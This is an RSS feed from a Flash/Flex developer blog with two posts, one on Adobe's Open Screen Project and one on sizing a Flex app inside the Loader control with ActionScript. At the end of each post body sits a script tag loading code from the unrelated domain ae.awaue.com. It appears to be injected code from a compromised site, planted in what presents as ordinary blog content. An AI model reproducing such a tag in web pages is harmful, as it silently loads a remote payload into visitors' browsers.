<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlexDaddy &#187; SWF</title>
	<atom:link href="http://www.flexdaddy.com/tag/swf/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flexdaddy.com</link>
	<description>Andrew Spaulding on Adobe Flash Platform Technologies</description>
	<lastBuildDate>Fri, 26 Mar 2010 03:42:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Adobe removes all restrictions on SWF and FLV specs</title>
		<link>http://www.flexdaddy.com/2008/05/01/adobe-removes-all-restrictions-on-swf-and-flv-specs/</link>
		<comments>http://www.flexdaddy.com/2008/05/01/adobe-removes-all-restrictions-on-swf-and-flv-specs/#comments</comments>
		<pubDate>Thu, 01 May 2008 05:16:38 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[FLV]]></category>
		<category><![CDATA[RIA]]></category>
		<category><![CDATA[specification]]></category>
		<category><![CDATA[SWF]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2008/05/01/adobe-removes-all-restrictions-on-swf-and-flv-specs/</guid>
		<description><![CDATA[
			
				
			
		
Adobe has announced the Open Screen Project http://www.openscreenproject.org/, an initiative dedicated to driving consistent experiences across all devices including mobile phones, personal computers, consumer devices and more 
Specifically, this work will include:

Removing restrictions on use of the SWF and FLV/F4V specifications
Publishing the device porting layer APIs for Adobe Flash Player
Publishing the Adobe FlashÂ® Castâ„¢ protocol [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2007/06/01/google-gears-and-adobe-apollo-on-sqlite/' rel='bookmark' title='Permanent Link: Google Gears and Adobe Apollo on SQLite'>Google Gears and Adobe Apollo on SQLite</a></li>
<li><a href='http://www.flexdaddy.com/2007/06/19/adobe-announces-developer-fridays/' rel='bookmark' title='Permanent Link: Adobe announces Developer Fridays'>Adobe announces Developer Fridays</a></li>
<li><a href='http://www.flexdaddy.com/2006/06/28/adobe-flex-2-available-now/' rel='bookmark' title='Permanent Link: Adobe Flex 2 available NOW!'>Adobe Flex 2 available NOW!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2008%2F05%2F01%2Fadobe-removes-all-restrictions-on-swf-and-flv-specs%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2008%2F05%2F01%2Fadobe-removes-all-restrictions-on-swf-and-flv-specs%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>Adobe has announced the Open Screen Project <a href="http://www.openscreenproject.org/">http://www.openscreenproject.org/</a>, an initiative dedicated to driving consistent experiences across all devices including mobile phones, personal computers, consumer devices and more </p>
<p>Specifically, this work will include:</p>
<ul>
<li>Removing restrictions on use of the SWF and FLV/F4V specifications</li>
<li>Publishing the device porting layer APIs for Adobe Flash Player</li>
<li>Publishing the Adobe FlashÂ® Castâ„¢ protocol and the AMF protocol for robust data services</li>
<li>Removing licensing fees â€“ making next major releases of Adobe Flash Player and Adobe AIR for devices free</li>
</ul>
<p>I wonder how long it will take to see various open source flash players?!</p>
<p>More info here <a href="http://www.adobe.com/openscreenproject/">http://www.adobe.com/openscreenproject/</a><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2007/06/01/google-gears-and-adobe-apollo-on-sqlite/' rel='bookmark' title='Permanent Link: Google Gears and Adobe Apollo on SQLite'>Google Gears and Adobe Apollo on SQLite</a></li>
<li><a href='http://www.flexdaddy.com/2007/06/19/adobe-announces-developer-fridays/' rel='bookmark' title='Permanent Link: Adobe announces Developer Fridays'>Adobe announces Developer Fridays</a></li>
<li><a href='http://www.flexdaddy.com/2006/06/28/adobe-flex-2-available-now/' rel='bookmark' title='Permanent Link: Adobe Flex 2 available NOW!'>Adobe Flex 2 available NOW!</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2008/05/01/adobe-removes-all-restrictions-on-swf-and-flv-specs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sizing apps within the Loader control</title>
		<link>http://www.flexdaddy.com/2005/02/21/sizing-apps-within-the-loader-control/</link>
		<comments>http://www.flexdaddy.com/2005/02/21/sizing-apps-within-the-loader-control/#comments</comments>
		<pubDate>Mon, 21 Feb 2005 11:28:32 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[component]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[SWF]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/?p=12</guid>
		<description><![CDATA[I had a recent requirement to load a flex app into anothor using the Loader control, but I was stuck at trying to get the loaded swf to stretch to the available space.

The problem came as the Loader is a component and not a container and therfore doesnt know about percentages or flex, so it cannot size content in the way we would expect it to. There are 2 workarounds, yet i will always take the later as it allows the size to be dynamic.


Related posts:<ol><li><a href='http://www.flexdaddy.com/2010/01/19/cast-a-loaded-flex-application-to-an-interface/' rel='bookmark' title='Permanent Link: Cast a loaded Flex Application to an Interface'>Cast a loaded Flex Application to an Interface</a></li>
<li><a href='http://www.flexdaddy.com/2005/03/24/flex-library-assets-cursors/' rel='bookmark' title='Permanent Link: Flex library assets &#8211; cursors'>Flex library assets &#8211; cursors</a></li>
<li><a href='http://www.flexdaddy.com/2006/06/19/afr-access-one-of-the-largest-public-flex-apps-to-date/' rel='bookmark' title='Permanent Link: AFR Access &#8211; one of the largest public Flex apps to date'>AFR Access &#8211; one of the largest public Flex apps to date</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F02%2F21%2Fsizing-apps-within-the-loader-control%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F02%2F21%2Fsizing-apps-within-the-loader-control%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>I had a recent requirement to load a flex app into another using the Loader control, but I was stuck at trying to get the loaded swf to stretch to the available space.</p>
<p>The problem came as the Loader is a component and not a container and therfore doesnt know about percentages or flex, so it cannot size content in the way we would expect it to. There are 2 workarounds, yet i will always take the later as it allows the size to be dynamic.<br />
<span id="more-12"></span><br />
There were 2 possible workarounds, but I would generally stick with the later for the sake of dynamic sizing:</p>
<p>1. You can set the height and width of the loaded app to be pixel values (i.e width=&#8221;800&#8243; height=&#8221;600&#8243;).</p>
<p>2. You can add the following code to a script block in the root of the loaded app:</p>
<p><code><br />
function getPreferredHeight()<br />
{<br />
    if(_parent)<br />
    {<br />
        return _parent.layoutHeight;<br />
    }<br />
    else<br />
    {<br />
        return super.getPreferredHeight();<br />
    }<br />
}<br />
</code></p>
<p><code><br />
function getPreferredWidth()<br />
{<br />
    if(_parent)<br />
    {<br />
        return _parent.layoutWidth;<br />
    }<br />
    else<br />
    {<br />
        return super.getPreferredWidth();<br />
    }<br />
}<br />
</code><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2010/01/19/cast-a-loaded-flex-application-to-an-interface/' rel='bookmark' title='Permanent Link: Cast a loaded Flex Application to an Interface'>Cast a loaded Flex Application to an Interface</a></li>
<li><a href='http://www.flexdaddy.com/2005/03/24/flex-library-assets-cursors/' rel='bookmark' title='Permanent Link: Flex library assets &#8211; cursors'>Flex library assets &#8211; cursors</a></li>
<li><a href='http://www.flexdaddy.com/2006/06/19/afr-access-one-of-the-largest-public-flex-apps-to-date/' rel='bookmark' title='Permanent Link: AFR Access &#8211; one of the largest public Flex apps to date'>AFR Access &#8211; one of the largest public Flex apps to date</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2005/02/21/sizing-apps-within-the-loader-control/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
